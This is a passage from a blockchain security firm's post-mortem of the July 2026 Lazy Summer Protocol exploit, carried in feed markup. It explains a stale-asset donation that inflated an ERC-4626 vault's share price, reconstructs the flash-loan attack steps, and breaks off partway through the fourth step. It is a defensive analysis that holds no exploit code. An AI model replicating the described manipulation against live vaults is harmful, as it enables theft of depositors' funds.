tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[Lazy Summer Hack Analysis: Stale-Asset Donation and ERC-4626 Share-Price Manipulation]]></title><description><![CDATA[On July 6, 2026, the Lazy Summer Protocol suffered an exploit on Ethereum mainnet that resulted in approximately $6.04 million in losses across two USDC vaults. The attacker used flash-loan liquidity,]]></description><link>https://blog.verichains.io/p/lazy-summer-hack-analysis-stale-asset</link><guid isPermaLink="false">https://blog.verichains.io/p/lazy-summer-hack-analysis-stale-asset</guid><dc:creator><![CDATA[HL]]></dc:creator><pubDate>Tue, 28 Jul 2026 10:02:28 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!FgR3!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c7bd4a-ba10-43ab-82d0-6c349d54af33_3018x838.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>On <strong>July 6, 2026</strong>, the <strong>Lazy Summer Protocol</strong> suffered an exploit on <strong>Ethereum</strong> mainnet that resulted in approximately <strong>$6.04</strong> <strong>million</strong> in losses across two USDC vaults. The attacker used flash-loan liquidity, but the flash loan was only the amplifier. The underlying vulnerability was an incomplete strategy-offboarding process that left an impaired Silo Ark active in the vault&#8217;s net asset value calculation.</p><p>The attacker accumulated Silo &#8220;Varlamore USDC Growth&#8221; vault tokens whose onchain valuation had not reflected their economic impairment following the November 2025 Stream Finance collapse. By transferring those tokens directly into the still-active Ark, the attacker increased the Lower Risk vault&#8217;s reported <code>totalAssets()</code> without adding an equivalent amount of realizable USDC. They then redeemed shares at the inflated price and received genuine liquid assets belonging to the vault.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://blog.verichains.io/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><h2>Overview</h2><ul><li><p><strong>Date:</strong><span> July 6, 2026</span></p></li><li><p><strong>Network:</strong><span> </span>Ethereum mainnet</p></li><li><p><strong>Total Loss</strong>: ~6.04M</p></li><li><p><strong>Attack Transaction</strong>: <a href="https://etherscan.io/tx/0x0db528c44f23fc7fa4544684a2fab81096450a14aae8bc89f42cd0592d43da12">0x0db528c44f23fc7fa4544684a2fab81096450a14aae8bc89f42cd0592d43da12</a></p></li><li><p><strong>Attacker Beneficiary:</strong></p><p><a href="https://etherscan.io/address/0x7BF716167B48CF527725722C6d79494b45B3BDCa">0x7BF716167B48CF527725722C6d79494b45B3BDCa</a></p></li><li><p><strong>Executor Contract</strong>: <a href="https://etherscan.io/address/0x0514F827C129C16418a0933E03C99A6AF982FC61">0x0514F827C129C16418a0933E03C99A6AF982FC61</a></p></li></ul><p>This was not a compromised-key or malicious-admin incident. The affected contracts were verified and behaved as implemented. The failure emerged from the interaction between the vault&#8217;s intended accounting rules, an external asset carrying a stale valuation, and an Ark that had been capped but not fully removed.</p><h2>Technical Analysis of the Exploit</h2><h3>Protocol Architecture</h3><p><strong>Lazy Summer</strong> vaults use an <strong>ERC-4626-style</strong> share model. Users deposit an underlying asset into a <code>FleetCommander</code>, which allocates capital among strategy adapters known as <code>Arks</code>. Each Ark connects the vault to a particular yield source or strategy.</p><p>The value of a vault share is derived from the vault&#8217;s total reported assets:</p><pre><code><code>share price = totalAssets() / totalSupply()
</code></code></pre><p>The <code>FleetCommander</code> calculates <code>totalAssets()</code> by summing the assets reported by every Ark in its active set. Consequently, any change in an active Ark&#8217;s reported value can affect the value of every vault share.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!QoXC!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2f7d272-0eba-4520-94d4-3dc9b50e6da9_688x373.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!QoXC!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2f7d272-0eba-4520-94d4-3dc9b50e6da9_688x373.png 424w, https://substackcdn.com/image/fetch/$s_!QoXC!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2f7d272-0eba-4520-94d4-3dc9b50e6da9_688x373.png 848w, https://substackcdn.com/image/fetch/$s_!QoXC!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2f7d272-0eba-4520-94d4-3dc9b50e6da9_688x373.png 1272w, https://substackcdn.com/image/fetch/$s_!QoXC!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2f7d272-0eba-4520-94d4-3dc9b50e6da9_688x373.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!QoXC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2f7d272-0eba-4520-94d4-3dc9b50e6da9_688x373.png" width="688" height="373" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f2f7d272-0eba-4520-94d4-3dc9b50e6da9_688x373.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:373,&quot;width&quot;:688,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:71103,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/208782983?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2f7d272-0eba-4520-94d4-3dc9b50e6da9_688x373.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!QoXC!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2f7d272-0eba-4520-94d4-3dc9b50e6da9_688x373.png 424w, https://substackcdn.com/image/fetch/$s_!QoXC!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2f7d272-0eba-4520-94d4-3dc9b50e6da9_688x373.png 848w, https://substackcdn.com/image/fetch/$s_!QoXC!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2f7d272-0eba-4520-94d4-3dc9b50e6da9_688x373.png 1272w, https://substackcdn.com/image/fetch/$s_!QoXC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2f7d272-0eba-4520-94d4-3dc9b50e6da9_688x373.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">The <code>_sumTotalAssets()</code> function iterates over the supplied Arks and adds each Ark&#8217;s reported <code>totalAssets()</code> to the FleetCommander&#8217;s aggregate asset value.</figcaption></figure></div><p>The relevant Silo Ark was undergoing offboarding. Its <code>depositCap</code> had been set to zero, preventing the protocol&#8217;s normal rebalancing flow from depositing additional capital. However, that action did not remove the Ark from <code>getActiveArks()</code> and did not stop arbitrary token transfers to the Ark address. Its token balance therefore continued to contribute to <code>totalAssets()</code> and the vault share price.</p><h3>Root Cause</h3><p>The root cause was an impaired Silo Ark that had been capped but not fully removed from the FleetCommander&#8217;s active set:</p><ul><li><p>Setting <code>depositCap</code> to zero blocked normal allocations but did not exclude the Ark from <code>totalAssets()</code>.</p></li><li><p>Tokens transferred directly to the Ark were included in its reported value without minting new FleetCommander shares.</p></li><li><p>The donated Silo Varlamore tokens were credited above their realizable economic value.</p></li></ul><p>The donation therefore increased the vault&#8217;s reported assets and share price without adding comparable liquid USDC. The attacker monetized that accounting increase by redeeming against the buffer and other liquid Arks.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!lhra!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9698e653-881b-45b8-8481-a27f94f0a6f1_1069x781.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!lhra!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9698e653-881b-45b8-8481-a27f94f0a6f1_1069x781.png 424w, https://substackcdn.com/image/fetch/$s_!lhra!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9698e653-881b-45b8-8481-a27f94f0a6f1_1069x781.png 848w, https://substackcdn.com/image/fetch/$s_!lhra!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9698e653-881b-45b8-8481-a27f94f0a6f1_1069x781.png 1272w, https://substackcdn.com/image/fetch/$s_!lhra!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9698e653-881b-45b8-8481-a27f94f0a6f1_1069x781.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!lhra!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9698e653-881b-45b8-8481-a27f94f0a6f1_1069x781.png" width="1069" height="781" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9698e653-881b-45b8-8481-a27f94f0a6f1_1069x781.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:781,&quot;width&quot;:1069,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:310848,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/208782983?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9698e653-881b-45b8-8481-a27f94f0a6f1_1069x781.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!lhra!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9698e653-881b-45b8-8481-a27f94f0a6f1_1069x781.png 424w, https://substackcdn.com/image/fetch/$s_!lhra!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9698e653-881b-45b8-8481-a27f94f0a6f1_1069x781.png 848w, https://substackcdn.com/image/fetch/$s_!lhra!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9698e653-881b-45b8-8481-a27f94f0a6f1_1069x781.png 1272w, https://substackcdn.com/image/fetch/$s_!lhra!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9698e653-881b-45b8-8481-a27f94f0a6f1_1069x781.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">The Silo Ark&#8217;s deposit cap was zero, but it remained in the active set supplied to the FleetCommander&#8217;s asset aggregation path.</figcaption></figure></div><p>The Silo position inflated the accounting value; it did not fund the payout.</p><h2>Attack Flow</h2><p>The exploit transaction began with the executor already holding the Silo Varlamore shares later donated to the affected Ark. How those shares were acquired is outside the scope of this analysis.</p><h3>Exploit Transaction</h3><p>The following steps are reconstructed directly from the successful exploit transaction and its call trace.</p><h4>1. Flash Loans from Morpho</h4><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Aekm!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e0aa5ab-95f2-41d5-9b36-c1eff5b67ded_2874x862.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Aekm!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e0aa5ab-95f2-41d5-9b36-c1eff5b67ded_2874x862.png 424w, https://substackcdn.com/image/fetch/$s_!Aekm!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e0aa5ab-95f2-41d5-9b36-c1eff5b67ded_2874x862.png 848w, https://substackcdn.com/image/fetch/$s_!Aekm!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e0aa5ab-95f2-41d5-9b36-c1eff5b67ded_2874x862.png 1272w, https://substackcdn.com/image/fetch/$s_!Aekm!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e0aa5ab-95f2-41d5-9b36-c1eff5b67ded_2874x862.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Aekm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e0aa5ab-95f2-41d5-9b36-c1eff5b67ded_2874x862.png" width="1456" height="437" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9e0aa5ab-95f2-41d5-9b36-c1eff5b67ded_2874x862.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:437,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:555587,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/208782983?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e0aa5ab-95f2-41d5-9b36-c1eff5b67ded_2874x862.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Aekm!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e0aa5ab-95f2-41d5-9b36-c1eff5b67ded_2874x862.png 424w, https://substackcdn.com/image/fetch/$s_!Aekm!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e0aa5ab-95f2-41d5-9b36-c1eff5b67ded_2874x862.png 848w, https://substackcdn.com/image/fetch/$s_!Aekm!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e0aa5ab-95f2-41d5-9b36-c1eff5b67ded_2874x862.png 1272w, https://substackcdn.com/image/fetch/$s_!Aekm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e0aa5ab-95f2-41d5-9b36-c1eff5b67ded_2874x862.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption"><strong>The executor contract borrowed 1 million USDT and 65.42 million USDC through nested Morpho Blue flash loans, with both amounts repaid before the transaction completed.</strong></figcaption></figure></div><p>The executor borrowed:</p><ul><li><p>65,419,171.88 USDC</p></li><li><p>1,000,000 USDT</p></li></ul><p>The loans were obtained from Morpho with no flash-loan fee and were repaid within the same transaction.</p><h4>2. Pre-staging the Higher Risk Vault</h4><p>The sequence began with the Higher Risk vault. The attacker <strong>deposited approximately 398,172.24 USDC and immediately withdrew almost the same amount.</strong></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!SYE7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c5a9a64-3053-432b-a285-925789e65919_2772x770.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!SYE7!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c5a9a64-3053-432b-a285-925789e65919_2772x770.png 424w, https://substackcdn.com/image/fetch/$s_!SYE7!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c5a9a64-3053-432b-a285-925789e65919_2772x770.png 848w, https://substackcdn.com/image/fetch/$s_!SYE7!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c5a9a64-3053-432b-a285-925789e65919_2772x770.png 1272w, https://substackcdn.com/image/fetch/$s_!SYE7!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c5a9a64-3053-432b-a285-925789e65919_2772x770.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!SYE7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c5a9a64-3053-432b-a285-925789e65919_2772x770.png" width="1456" height="404" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3c5a9a64-3053-432b-a285-925789e65919_2772x770.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:404,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:471940,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/208782983?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c5a9a64-3053-432b-a285-925789e65919_2772x770.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!SYE7!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c5a9a64-3053-432b-a285-925789e65919_2772x770.png 424w, https://substackcdn.com/image/fetch/$s_!SYE7!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c5a9a64-3053-432b-a285-925789e65919_2772x770.png 848w, https://substackcdn.com/image/fetch/$s_!SYE7!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c5a9a64-3053-432b-a285-925789e65919_2772x770.png 1272w, https://substackcdn.com/image/fetch/$s_!SYE7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c5a9a64-3053-432b-a285-925789e65919_2772x770.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">The attacker deposited 398,172 USDC, increasing the Higher Risk buffer to 399,172 USDC.</figcaption></figure></div><p>Although the round trip cost essentially nothing, the withdrawal was sourced from the Higher Risk vault&#8217;s liquid Sky and Morpho positions rather than its buffer. The original deposit consequently remained in the buffer, increasing immediately accessible liquidity from approximately <strong>1,000 USDC to 399,172 USDC</strong>.</p><p>This step prepared the buffer to satisfy the attacker&#8217;s later Higher Risk redemption without forcing the vault to withdraw from illiquid Arks.</p><h4>3. Minting the Term Shares</h4><p>The attacker deposited approximately <strong>490,636.89 USDC</strong> into the Term &#8220;Summer USDC&#8221; Yearn v3 strategy and received approximately <strong>439,778.13 Term shares</strong>.</p><p>This operation served two purposes:</p><ol><li><p>The <strong>Term shares became the donation asset</strong> used to manipulate the Higher Risk vault.</p></li><li><p>The underlying USDC was <strong>deposited into the Lower Risk FleetCommander</strong>, adding liquidity to its buffer.</p></li></ol><p>That reciprocal vault wiring made the step unusually efficient. The capital used to mint the Higher Risk donation asset was later recovered when the attacker drained the Lower Risk vault&#8217;s liquid positions.</p><h4>4. Manipulating the Lower Risk Vault</h4><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!FgR3!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c7bd4a-ba10-43ab-82d0-6c349d54af33_3018x838.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!FgR3!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c7bd4a-ba10-43ab-82d0-6c349d54af33_3018x838.png 424w, https://substackcdn.com/image/fetch/$s_!FgR3!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c7bd4a-ba10-43ab-82d0-6c349d54af33_3018x838.png 848w, https://substackcdn.com/image/fetch/$s_!FgR3!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c7bd4a-ba10-43ab-82d0-6c349d54af33_3018x838.png 1272w, 